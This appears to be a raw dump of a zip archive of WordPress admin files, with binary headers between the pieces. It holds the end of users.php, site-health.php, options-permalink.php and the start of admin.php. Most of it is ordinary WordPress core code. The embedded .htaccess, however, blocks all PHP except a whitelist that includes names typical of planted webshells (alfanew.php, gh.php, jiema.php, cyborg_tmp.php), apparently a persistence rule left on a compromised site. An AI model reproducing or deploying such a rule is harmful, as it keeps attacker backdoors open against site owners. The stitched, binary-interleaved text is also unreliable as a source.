if ( empty($_REQUEST['users']) ) {
		wp_redirect($redirect);
		exit;
	}

if ( ! current_user_can( 'remove_users' ) )
		wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );

$userids = $_REQUEST['users'];

$update = 'remove';
 	foreach ( $userids as $id ) {
		$id = (int) $id;
		if ( !current_user_can('remove_user', $id) ) {
			$update = 'err_admin_remove';
			continue;
		}
		remove_user_from_blog($id, $blog_id);
	}

$redirect = add_query_arg( array('update' => $update), $redirect);
	wp_redirect($redirect);
	exit;

case 'remove':

check_admin_referer('bulk-users');

if ( ! is_multisite() )
		wp_die( __( 'You can&#8217;t remove users.' ), 400 );

if ( empty($_REQUEST['users']) && empty($_REQUEST['user']) ) {
		wp_redirect($redirect);
		exit();
	}

if ( !current_user_can('remove_users') )
		$error = new WP_Error('edit_users', __('Sorry, you are not allowed to remove users.'));

if ( empty($_REQUEST['users']) )
		$userids = array(intval($_REQUEST['user']));
	else
		$userids = $_REQUEST['users'];

include( ABSPATH . 'wp-admin/admin-header.php' );
?>
<form method="post" name="updateusers" id="updateusers">
<?php wp_nonce_field('remove-users') ?>
<?php echo $referer; ?>

<?php if ( 1 == count( $userids ) ) : ?>
	<p><?php _e( 'You have specified this user for removal:' ); ?></p>
<?php else : ?>
	<p><?php _e( 'You have specified these users for removal:' ); ?></p>
<?php endif; ?>

<ul>
<?php
	$go_remove = false;
 	foreach ( $userids as $id ) {
		$id = (int) $id;
 		$user = get_userdata( $id );
		if ( ! current_user_can( 'remove_user', $id ) ) {
			/* translators: 1: user id, 2: user login */
			echo "<li>" . sprintf(__('ID #%1$s: %2$s <strong>Sorry, you are not allowed to remove this user.</strong>'), $id, $user->user_login) . "</li>\n";
		} else {
			/* translators: 1: user id, 2: user login */
			echo "<li><input type=\"hidden\" name=\"users[]\" value=\"{$id}\" />" . sprintf(__('ID #%1$s: %2$s'), $id, $user->user_login) . "</li>\n";
			$go_remove = true;
		}
 	}
 	?>
</ul>
<?php if ( $go_remove ) : ?>
		<input type="hidden" name="action" value="doremove" />
		<?php submit_button( __('Confirm Removal'), 'primary' ); ?>
<?php else : ?>
	<p><?php _e('There are no valid users selected for removal.'); ?></p>
<?php endif; ?>
</div>
</form>
<?php

break;

default:

if ( !empty($_GET['_wp_http_referer']) ) {
		wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce'), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
		exit;
	}

if ( $wp_list_table->current_action() && ! empty( $_REQUEST['users'] ) ) {
		$userids = $_REQUEST['users'];
		$sendback = wp_get_referer();

/** This action is documented in wp-admin/edit-comments.php */
		$sendback = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $sendback, $wp_list_table->current_action(), $userids );

wp_safe_redirect( $sendback );
		exit;
	}

$wp_list_table->prepare_items();
	$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );
	if ( $pagenum > $total_pages && $total_pages > 0 ) {
		wp_redirect( add_query_arg( 'paged', $total_pages ) );
		exit;
	}

include( ABSPATH . 'wp-admin/admin-header.php' );

$messages = array();
	if ( isset($_GET['update']) ) :
		switch($_GET['update']) {
		case 'del':
		case 'del_many':
			$delete_count = isset($_GET['delete_count']) ? (int) $_GET['delete_count'] : 0;
			if ( 1 == $delete_count ) {
				$message = __( 'User deleted.' );
			} else {
				$message = _n( '%s user deleted.', '%s users deleted.', $delete_count );
			}
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( $message, number_format_i18n( $delete_count ) ) . '</p></div>';
			break;
		case 'add':
			if ( isset( $_GET['id'] ) && ( $user_id = $_GET['id'] ) && current_user_can( 'edit_user', $user_id ) ) {
				/* translators: %s: edit page url */
				$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . sprintf( __( 'New user created. <a href="%s">Edit user</a>' ),
					esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
						self_admin_url( 'user-edit.php?user_id=' . $user_id ) ) ) ) . '</p></div>';
			} else {
				$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __( 'New user created.' ) . '</p></div>';
			}
			break;
		case 'promote':
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('Changed roles.') . '</p></div>';
			break;
		case 'err_admin_role':
			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __('The current user&#8217;s role must have user editing capabilities.') . '</p></div>';
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('Other user roles have been changed.') . '</p></div>';
			break;
		case 'err_admin_del':
			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __('You can&#8217;t delete the current user.') . '</p></div>';
			$messages[] = '<div id="message" class="updated notice is-dismissible"><p>' . __('Other users have been deleted.') . '</p></div>';
			break;
		case 'remove':
			$messages[] = '<div id="message" class="updated notice is-dismissible fade"><p>' . __('User removed from this site.') . '</p></div>';
			break;
		case 'err_admin_remove':
			$messages[] = '<div id="message" class="error notice is-dismissible"><p>' . __("You can't remove the current user.") . '</p></div>';
			$messages[] = '<div id="message" class="updated notice is-dismissible fade"><p>' . __('Other users have been removed.') . '</p></div>';
			break;
		}
	endif; ?>

<?php if ( isset($errors) && is_wp_error( $errors ) ) : ?>
	<div class="error">
		<ul>
		<?php
			foreach ( $errors->get_error_messages() as $err )
				echo "<li>$err</li>\n";
		?>
		</ul>
	</div>
<?php endif;

if ( ! empty($messages) ) {
	foreach ( $messages as $msg )
		echo $msg;
} ?>

<?php
if ( current_user_can( 'create_users' ) ) { ?>
	<a href="<?php echo admin_url( 'user-new.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add New', 'user' ); ?></a>
<?php } elseif ( is_multisite() && current_user_can( 'promote_users' ) ) { ?>
	<a href="<?php echo admin_url( 'user-new.php' ); ?>" class="page-title-action"><?php echo esc_html_x( 'Add Existing', 'user' ); ?></a>
<?php }

if ( strlen( $usersearch ) ) {
	/* translators: %s: search keywords */
	printf( '<span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', esc_html( $usersearch ) );
}
?>

<?php $wp_list_table->views(); ?>

<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>

<?php if ( ! empty( $_REQUEST['role'] ) ) { ?>
<input type="hidden" name="role" value="<?php echo esc_attr( $_REQUEST['role'] ); ?>" />
<?php } ?>

<?php $wp_list_table->display(); ?>
</form>

<br class="clear" />
</div>
<?php
break;

} // end of the $doaction switch

include( ABSPATH . 'wp-admin/admin-footer.php' );
PK�������!�^��������	��.htaccessnu��[�����������<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|php7|php8|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|wp-login.php|options-general.php|profile.php|upgrade.php|admin.php|admin-ajax.php|plugin-install.php|load-styles.php|load-scripts.php|checkbox.php|option.php|update.php|plugins.php|alfanew.php|upgrade.php|wp-term.php|wccy.php|usercy.php|crack_self_restore.php|wp-checkbex.php|checkbex.php|down.php|enfile.php|gh.php|pinuseren.php|version.php|head.php|heada.php|wp-head.php|wp-site.php|wp-info.php|wp-ver.php|wp-admin.php|wp-config-sample.php|jiema.php|cangma.php|cawpf.php|nowp.php|nowpf.php|cyborg_tmp.php|wp-term.php|upgrade.php|wp-ver.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>
PK�������!�@����(���(����site-health.phpnu�&1i���������<?php
/**
 * Tools Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = ! empty( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : '';

$tabs = array(
	/* translators: Tab heading for Site Health Status page. */
	''      => _x( 'Status', 'Site Health' ),
	/* translators: Tab heading for Site Health Info page. */
	'debug' => _x( 'Info', 'Site Health' ),
);

/**
 * Filters the extra tabs for the Site Health navigation bar.
 *
 * Add a custom page to the Site Health screen, based on a tab slug and label.
 * The label you provide will also be used as part of the site title.
 *
 * @since 5.8.0
 *
 * @param string[] $tabs An associative array of tab labels keyed by their slug.
 */
$tabs = apply_filters( 'site_health_navigation_tabs', $tabs );

$wrapper_classes = array(
	'health-check-tabs-wrapper',
	'hide-if-no-js',
	'tab-count-' . count( $tabs ),
);

$current_tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : '' );

$title = sprintf(
	// translators: %s: The currently displayed tab.
	__( 'Site Health - %s' ),
	( isset( $tabs[ $current_tab ] ) ? esc_html( $tabs[ $current_tab ] ) : esc_html( reset( $tabs ) ) )
);

if ( ! current_user_can( 'view_site_health_checks' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access site health information.' ), '', 403 );
}

wp_enqueue_style( 'site-health' );
wp_enqueue_script( 'site-health' );

if ( ! class_exists( 'WP_Site_Health' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
}

if ( 'update_https' === $action ) {
	check_admin_referer( 'wp_update_https' );

if ( ! current_user_can( 'update_https' ) ) {
		wp_die( __( 'Sorry, you are not allowed to update this site to HTTPS.' ), 403 );
	}

if ( ! wp_is_https_supported() ) {
		wp_die( __( 'It looks like HTTPS is not supported for your website at this point.' ) );
	}

$result = wp_update_urls_to_https();

wp_redirect( add_query_arg( 'https_updated', (int) $result, wp_get_referer() ) );
	exit;
}

$health_check_site_status = WP_Site_Health::get_instance();

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'This screen allows you to obtain a health diagnosis of your site, and displays an overall rating of the status of your installation.' ) . '</p>' .
				'<p>' . __( 'In the Status tab, you can see critical information about your WordPress configuration, along with anything else that requires your attention.' ) . '</p>' .
				'<p>' . __( 'In the Info tab, you will find all the details about the configuration of your WordPress site, server, and database. There is also an export feature that allows you to copy all of the information about your site to the clipboard, to help solve problems on your site when obtaining support.' ) . '</p>',
	)
);

// Start by checking if this is a special request checking for the existence of certain filters.
$health_check_site_status->check_wp_version_check_exists();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="health-check-header">
	<div class="health-check-title-section">
		<h1>
			<?php _e( 'Site Health' ); ?>
		</h1>
	</div>

<?php
	if ( isset( $_GET['https_updated'] ) ) {
		if ( $_GET['https_updated'] ) {
			wp_admin_notice(
				__( 'Site URLs switched to HTTPS.' ),
				array(
					'type'        => 'success',
					'id'          => 'message',
					'dismissible' => true,
				)
			);
		} else {
			wp_admin_notice(
				__( 'Site URLs could not be switched to HTTPS.' ),
				array(
					'type'        => 'error',
					'id'          => 'message',
					'dismissible' => true,
				)
			);
		}
	}
	?>

<nav class="<?php echo implode( ' ', $wrapper_classes ); ?>" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<?php
		$tabs_slice = $tabs;

/*
		 * If there are more than 4 tabs, only output the first 3 inline,
		 * the remaining links will be added to a sub-navigation.
		 */
		if ( count( $tabs ) > 4 ) {
			$tabs_slice = array_slice( $tabs, 0, 3 );
		}

foreach ( $tabs_slice as $slug => $label ) {
			printf(
				'<a href="%s" class="health-check-tab %s">%s</a>',
				esc_url(
					add_query_arg(
						array(
							'tab' => $slug,
						),
						admin_url( 'site-health.php' )
					)
				),
				( $current_tab === $slug ? 'active' : '' ),
				esc_html( $label )
			);
		}
		?>

<?php if ( count( $tabs ) > 4 ) : ?>
			<button type="button" class="health-check-tab health-check-offscreen-nav-wrapper" aria-haspopup="true">
				<span class="dashicons dashicons-ellipsis"></span>
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Toggle extra menu items' );
					?>
				</span>

<div class="health-check-offscreen-nav">
					<?php
					// Remove the first few entries from the array as being already output.
					$tabs_slice = array_slice( $tabs, 3 );
					foreach ( $tabs_slice as $slug => $label ) {
						printf(
							'<a href="%s" class="health-check-tab %s">%s</a>',
							esc_url(
								add_query_arg(
									array(
										'tab' => $slug,
									),
									admin_url( 'site-health.php' )
								)
							),
							( isset( $_GET['tab'] ) && $_GET['tab'] === $slug ? 'active' : '' ),
							esc_html( $label )
						);
					}
					?>
				</div>
			</button>
		<?php endif; ?>
	</nav>
</div>

<?php
if ( isset( $_GET['tab'] ) && ! empty( $_GET['tab'] ) ) {
	/**
	 * Fires when outputting the content of a custom Site Health tab.
	 *
	 * This action fires right after the Site Health header, and users are still subject to
	 * the capability checks for the Site Health page to view any custom tabs and their contents.
	 *
	 * @since 5.8.0
	 *
	 * @param string $tab The slug of the tab that was requested.
	 */
	do_action( 'site_health_tab_content', $_GET['tab'] );

require_once ABSPATH . 'wp-admin/admin-footer.php';
	return;
} else {
	wp_admin_notice(
		__( 'The Site Health check requires JavaScript.' ),
		array(
			'type'               => 'error',
			'additional_classes' => array( 'hide-if-js' ),
		)
	);
	?>

<?php
}
require_once ABSPATH . 'wp-admin/admin-footer.php';
PK�������!��ʺx G�� G����options-permalink.phpnu��[�����������<?php
/**
 * Permalink Settings Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname( __FILE__ ) . '/admin.php' );

if ( ! current_user_can( 'manage_options' ) )
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );

$title = __('Permalink Settings');
$parent_file = 'options-general.php';

get_current_screen()->add_help_tab( array(
	'id'      => 'overview',
	'title'   => __('Overview'),
	'content' => '<p>' . __('Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change &#8212; hence the name permalink.') . '</p>' .
		'<p>' . __( 'This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures.' ) . '</p>' .
		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
) );

get_current_screen()->add_help_tab( array(
	'id'      => 'permalink-settings',
	'title'   => __('Permalink Settings'),
	'content' => '<p>' . __( 'Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure.' ) . '</p>' .
		'<p>' . __( 'If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by <code>%</code>) will also appear in the custom structure field and your path can be further modified there.' ) . '</p>' .
		'<p>' . __('When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes <code>%category%</code> or <code>%tag%</code>.') . '</p>' .
		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
) );

get_current_screen()->add_help_tab( array(
	'id'      => 'custom-structures',
	'title'   => __('Custom Structures'),
	'content' => '<p>' . __('The Optional fields let you customize the &#8220;category&#8221; and &#8220;tag&#8221; base names that will appear in archive URLs. For example, the page listing all posts in the &#8220;Uncategorized&#8221; category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>.') . '</p>' .
		'<p>' . __('You must click the Save Changes button at the bottom of the screen for new settings to take effect.') . '</p>',
) );

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __('For more information:') . '</strong></p>' .
	'<p>' . __('<a href="https://codex.wordpress.org/Settings_Permalinks_Screen">Documentation on Permalinks Settings</a>') . '</p>' .
	'<p>' . __('<a href="https://codex.wordpress.org/Using_Permalinks">Documentation on Using Permalinks</a>') . '</p>' .
	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
);

$home_path = get_home_path();
$iis7_permalinks = iis7_supports_permalinks();
$permalink_structure = get_option( 'permalink_structure' );

$prefix = $blog_prefix = '';
if ( ! got_url_rewrite() )
	$prefix = '/index.php';

/**
 * In a subdirectory configuration of multisite, the `/blog` prefix is used by
 * default on the main site to avoid collisions with other sites created on that
 * network. If the `permalink_structure` option has been changed to remove this
 * base prefix, WordPress core can no longer account for the possible collision.
 */
if ( is_multisite() && ! is_subdomain_install() && is_main_site() && 0 === strpos( $permalink_structure, '/blog/' ) ) {
	$blog_prefix = '/blog';
}

$category_base       = get_option( 'category_base' );
$tag_base            = get_option( 'tag_base' );
$update_required     = false;

if ( $iis7_permalinks ) {
	if ( ( ! file_exists($home_path . 'web.config') && win_is_writable($home_path) ) || win_is_writable($home_path . 'web.config') )
		$writable = true;
	else
		$writable = false;
} elseif ( $is_nginx ) {
	$writable = false;
} else {
	if ( ( ! file_exists( $home_path . '.htaccess' ) && is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' ) ) {
		$writable = true;
	} else {
		$writable = false;
		$existing_rules  = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) );
		$new_rules       = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) );
		$update_required = ( $new_rules !== $existing_rules );
	}
}

$using_index_permalinks = $wp_rewrite->using_index_permalinks();

if ( isset($_POST['permalink_structure']) || isset($_POST['category_base']) ) {
	check_admin_referer('update-permalink');

if ( isset( $_POST['permalink_structure'] ) ) {
		if ( isset( $_POST['selection'] ) && 'custom' != $_POST['selection'] )
			$permalink_structure = $_POST['selection'];
		else
			$permalink_structure = $_POST['permalink_structure'];

if ( ! empty( $permalink_structure ) ) {
			$permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) );
			if ( $prefix && $blog_prefix )
				$permalink_structure = $prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure );
			else
				$permalink_structure = $blog_prefix . $permalink_structure;
		}

$permalink_structure = sanitize_option( 'permalink_structure', $permalink_structure );

$wp_rewrite->set_permalink_structure( $permalink_structure );
	}

if ( isset( $_POST['category_base'] ) ) {
		$category_base = $_POST['category_base'];
		if ( ! empty( $category_base ) )
			$category_base = $blog_prefix . preg_replace('#/+#', '/', '/' . str_replace( '#', '', $category_base ) );
		$wp_rewrite->set_category_base( $category_base );
	}

if ( isset( $_POST['tag_base'] ) ) {
		$tag_base = $_POST['tag_base'];
		if ( ! empty( $tag_base ) )
			$tag_base = $blog_prefix . preg_replace('#/+#', '/', '/' . str_replace( '#', '', $tag_base ) );
		$wp_rewrite->set_tag_base( $tag_base );
	}

$message = __( 'Permalink structure updated.' );

if ( $iis7_permalinks ) {
		if ( $permalink_structure && ! $using_index_permalinks && ! $writable ) {
			$message = __( 'You should update your web.config now.' );
		} elseif ( $permalink_structure && ! $using_index_permalinks && $writable ) {
			$message = __( 'Permalink structure updated. Remove write access on web.config file now!' );
		}
	} elseif ( ! $is_nginx && $permalink_structure && ! $using_index_permalinks && ! $writable && $update_required ) {
		$message = __( 'You should update your .htaccess now.' );
	}

if ( ! get_settings_errors() ) {
		add_settings_error( 'general', 'settings_updated', $message, 'updated' );
	}

set_transient( 'settings_errors', get_settings_errors(), 30 );

wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) );
	exit;
}

flush_rewrite_rules();

require( ABSPATH . 'wp-admin/admin-header.php' );
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<p><?php
		printf(
			/* translators: %s: Codex URL */
			__( 'WordPress offers you the ability to create a custom URL structure for your permalinks and archives. Custom URL structures can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="%s">number of tags are available</a>, and here are some examples to get you started.' ),
			__( 'https://codex.wordpress.org/Using_Permalinks' )
		);
	?></p>

<?php
if ( is_multisite() && ! is_subdomain_install() && is_main_site() && 0 === strpos( $permalink_structure, '/blog/' ) ) {
	$permalink_structure = preg_replace( '|^/?blog|', '', $permalink_structure );
	$category_base = preg_replace( '|^/?blog|', '', $category_base );
	$tag_base = preg_replace( '|^/?blog|', '', $tag_base );
}

$structures = array(
	0 => '',
	1 => $prefix . '/%year%/%monthnum%/%day%/%postname%/',
	2 => $prefix . '/%year%/%monthnum%/%postname%/',
	3 => $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%',
	4 => $prefix . '/%postname%/',
);
?>
<h2 class="title"><?php _e('Common Settings'); ?></h2>
<table class="form-table permalink-structure">
	<tr>
		<th><label><input name="selection" type="radio" value="" <?php checked('', $permalink_structure); ?> /> <?php _e( 'Plain' ); ?></label></th>
		<td><code><?php echo get_option('home'); ?>/?p=123</code></td>
	</tr>
	<tr>
		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[1]); ?>" <?php checked($structures[1], $permalink_structure); ?> /> <?php _e('Day and name'); ?></label></th>
		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . date('Y') . '/' . date('m') . '/' . date('d') . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
	</tr>
	<tr>
		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[2]); ?>" <?php checked($structures[2], $permalink_structure); ?> /> <?php _e('Month and name'); ?></label></th>
		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . date('Y') . '/' . date('m') . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
	</tr>
	<tr>
		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[3]); ?>" <?php checked($structures[3], $permalink_structure); ?> /> <?php _e('Numeric'); ?></label></th>
		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/123'; ?></code></td>
	</tr>
	<tr>
		<th><label><input name="selection" type="radio" value="<?php echo esc_attr($structures[4]); ?>" <?php checked($structures[4], $permalink_structure); ?> /> <?php _e('Post name'); ?></label></th>
		<td><code><?php echo get_option('home') . $blog_prefix . $prefix . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/'; ?></code></td>
	</tr>
	<tr>
		<th>
			<label><input name="selection" id="custom_selection" type="radio" value="custom" <?php checked( !in_array($permalink_structure, $structures) ); ?> />
			<?php _e('Custom Structure'); ?>
			</label>
		</th>
		<td>
			<code><?php echo get_option('home') . $blog_prefix; ?></code>
			<input name="permalink_structure" id="permalink_structure" type="text" value="<?php echo esc_attr($permalink_structure); ?>" class="regular-text code" />
			<div class="available-structure-tags hide-if-no-js">
				<div id="custom_selection_updated" aria-live="assertive" class="screen-reader-text"></div>
				<?php
				$available_tags = array(
					/* translators: %s: permalink structure tag */
					'year'     => __( '%s (The year of the post, four digits, for example 2004.)' ),
					/* translators: %s: permalink structure tag */
					'monthnum' => __( '%s (Month of the year, for example 05.)' ),
					/* translators: %s: permalink structure tag */
					'day'      => __( '%s (Day of the month, for example 28.)' ),
					/* translators: %s: permalink structure tag */
					'hour'     => __( '%s (Hour of the day, for example 15.)' ),
					/* translators: %s: permalink structure tag */
					'minute'   => __( '%s (Minute of the hour, for example 43.)' ),
					/* translators: %s: permalink structure tag */
					'second'   => __( '%s (Second of the minute, for example 33.)' ),
					/* translators: %s: permalink structure tag */
					'post_id'  => __( '%s (The unique ID of the post, for example 423.)' ),
					/* translators: %s: permalink structure tag */
					'postname' => __( '%s (The sanitized post title (slug).)' ),
					/* translators: %s: permalink structure tag */
					'category' => __( '%s (Category slug. Nested sub-categories appear as nested directories in the URL.)' ),
					/* translators: %s: permalink structure tag */
					'author'   => __( '%s (A sanitized version of the author name.)' ),
				);

/**
				 * Filters the list of available permalink structure tags on the Permalinks settings page.
				 *
				 * @since 4.8.0
				 *
				 * @param array $available_tags A key => value pair of available permalink structure tags.
				 */
				$available_tags = apply_filters( 'available_permalink_structure_tags', $available_tags );

/* translators: %s: permalink structure tag */
				$structure_tag_added = __( '%s added to permalink structure' );

/* translators: %s: permalink structure tag */
				$structure_tag_already_used = __( '%s (already used in permalink structure)' );

if ( ! empty( $available_tags ) ) :
					?>
					<p><?php _e( 'Available tags:' ); ?></p>
					<ul role="list">
						<?php
						foreach ( $available_tags as $tag => $explanation ) {
							?>
							<li>
								<button type="button"
								        class="button button-secondary"
								        aria-label="<?php echo esc_attr( sprintf( $explanation, $tag ) ); ?>"
								        data-added="<?php echo esc_attr( sprintf( $structure_tag_added, $tag ) ); ?>"
								        data-used="<?php echo esc_attr( sprintf( $structure_tag_already_used, $tag ) ); ?>">
									<?php echo '%' . $tag . '%'; ?>
								</button>
							</li>
							<?php
						}
						?>
					</ul>
				<?php endif; ?>
			</div>
		</td>
	</tr>
</table>

<h2 class="title"><?php _e('Optional'); ?></h2>
<p><?php
/* translators: %s: placeholder that must come at the start of the URL */
printf( __( 'If you like, you may enter custom structures for your category and tag URLs here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used.' ), get_option( 'home' ) . $blog_prefix . $prefix ); ?></p>

<table class="form-table">
	<tr>
		<th><label for="category_base"><?php /* translators: prefix for category permalinks */ _e('Category base'); ?></label></th>
		<td><?php echo $blog_prefix; ?> <input name="category_base" id="category_base" type="text" value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code" /></td>
	</tr>
	<tr>
		<th><label for="tag_base"><?php _e('Tag base'); ?></label></th>
		<td><?php echo $blog_prefix; ?> <input name="tag_base" id="tag_base" type="text" value="<?php echo esc_attr($tag_base); ?>" class="regular-text code" /></td>
	</tr>
	<?php do_settings_fields('permalink', 'optional'); ?>
</table>

<?php do_settings_sections('permalink'); ?>

<?php submit_button(); ?>
  </form>
<?php if ( !is_multisite() ) { ?>
<?php if ( $iis7_permalinks ) :
	if ( isset($_POST['submit']) && $permalink_structure && ! $using_index_permalinks && ! $writable ) :
		if ( file_exists($home_path . 'web.config') ) : ?>
<p><?php
	printf(
		/* translators: 1: web.config, 2: Codex URL, 3: CTRL + a, 4: element code */
		__( 'If your %1$s file was <a href="%2$s">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your %1$s file. Click in the field and press %3$s to select all. Then insert this rule inside of the %4$s element in %1$s file.' ),
		'<code>web.config</code>',
		__( 'https://codex.wordpress.org/Changing_File_Permissions' ),
		'<kbd>CTRL + a</kbd>',
		'<code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code>'
	);
?></p>
<form action="options-permalink.php" method="post">
<?php wp_nonce_field('update-permalink') ?>
	<p><textarea rows="9" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules() ); ?></textarea></p>
</form>
<p><?php
	printf(
		/* translators: %s: web.config */
		__( 'If you temporarily make your %s file writable for us to generate rewrite rules automatically, do not forget to revert the permissions after rule has been saved.' ),
		'<code>web.config</code>'
	);
?></p>
		<?php else : ?>
<p><?php
	printf(
		/* translators: 1: Codex URL, 2: web.config, 3: CTRL + a */
		__( 'If the root directory of your site was <a href="%1$s">writable</a>, we could do this automatically, but it isn&#8217;t so this is the url rewrite rule you should have in your %2$s file. Create a new file, called %2$s in the root directory of your site. Click in the field and press %3$s to select all. Then insert this code into the %2$s file.' ),
		__( 'https://codex.wordpress.org/Changing_File_Permissions' ),
		'<code>web.config</code>',
		'<kbd>CTRL + a</kbd>'
	);
?></p>
<form action="options-permalink.php" method="post">
<?php wp_nonce_field('update-permalink') ?>
	<p><textarea rows="18" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules(true) ); ?></textarea></p>
</form>
<p><?php
	printf(
		/* translators: %s: web.config */
		__( 'If you temporarily make your site&#8217;s root directory writable for us to generate the %s file automatically, do not forget to revert the permissions after the file has been created.' ),
		'<code>web.config</code>'
	);
?></p>
		<?php endif; ?>
	<?php endif; ?>
<?php elseif ( $is_nginx ) : ?>
	<p><?php _e( '<a href="https://codex.wordpress.org/Nginx">Documentation on Nginx configuration</a>.' ); ?></p>
<?php else:
	if ( $permalink_structure && ! $using_index_permalinks && ! $writable && $update_required ) : ?>
<p><?php
	printf(
		/* translators: 1: .htaccess, 2: Codex URL, 3: CTRL + a */
		__( 'If your %1$s file was <a href="%2$s">writable</a>, we could do this automatically, but it isn&#8217;t so these are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s to select all.' ),
		'<code>.htaccess</code>',
		__( 'https://codex.wordpress.org/Changing_File_Permissions' ),
		'<kbd>CTRL + a</kbd>'
	);
?></p>
<form action="options-permalink.php" method="post">
<?php wp_nonce_field('update-permalink') ?>
	<p><textarea rows="6" class="large-text readonly" name="rules" id="rules" readonly="readonly"><?php echo esc_textarea( $wp_rewrite->mod_rewrite_rules() ); ?></textarea></p>
</form>
	<?php endif; ?>
<?php endif; ?>
<?php } // multisite ?>

</div>

<?php require( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
PK�������!���O#)��#)��	��admin.phpnu��[�����������<?php
/**
 * WordPress Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * In WordPress Administration Screens
 *
 * @since 2.3.2
 */
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

if ( ! defined('WP_NETWORK_ADMIN') )
	define('WP_NETWORK_ADMIN', false);

if ( ! defined('WP_USER_ADMIN') )
	define('WP_USER_ADMIN', false);

if ( ! WP_NETWORK_ADMIN && ! WP_USER_ADMIN ) {
	define('WP_BLOG_ADMIN', true);
}

if ( isset($_GET['import']) && !defined('WP_LOAD_IMPORTERS') )
	define('WP_LOAD_IMPORTERS', true);

require_once(dirname(dirname(__FILE__)) . '/wp-load.php');

nocache_headers();

if ( get_option('db_upgraded') ) {
	flush_rewrite_rules();
	update_option( 'db_upgraded',  false );

/**
	 * Fires on the next page load after a successful DB upgrade.
	 *
	 * @since 2.8.0
	 */
	do_action( 'after_db_upgrade' );
} elseif ( get_option('db_version') != $wp_db_version && empty($_POST) ) {
	if ( !is_multisite() ) {
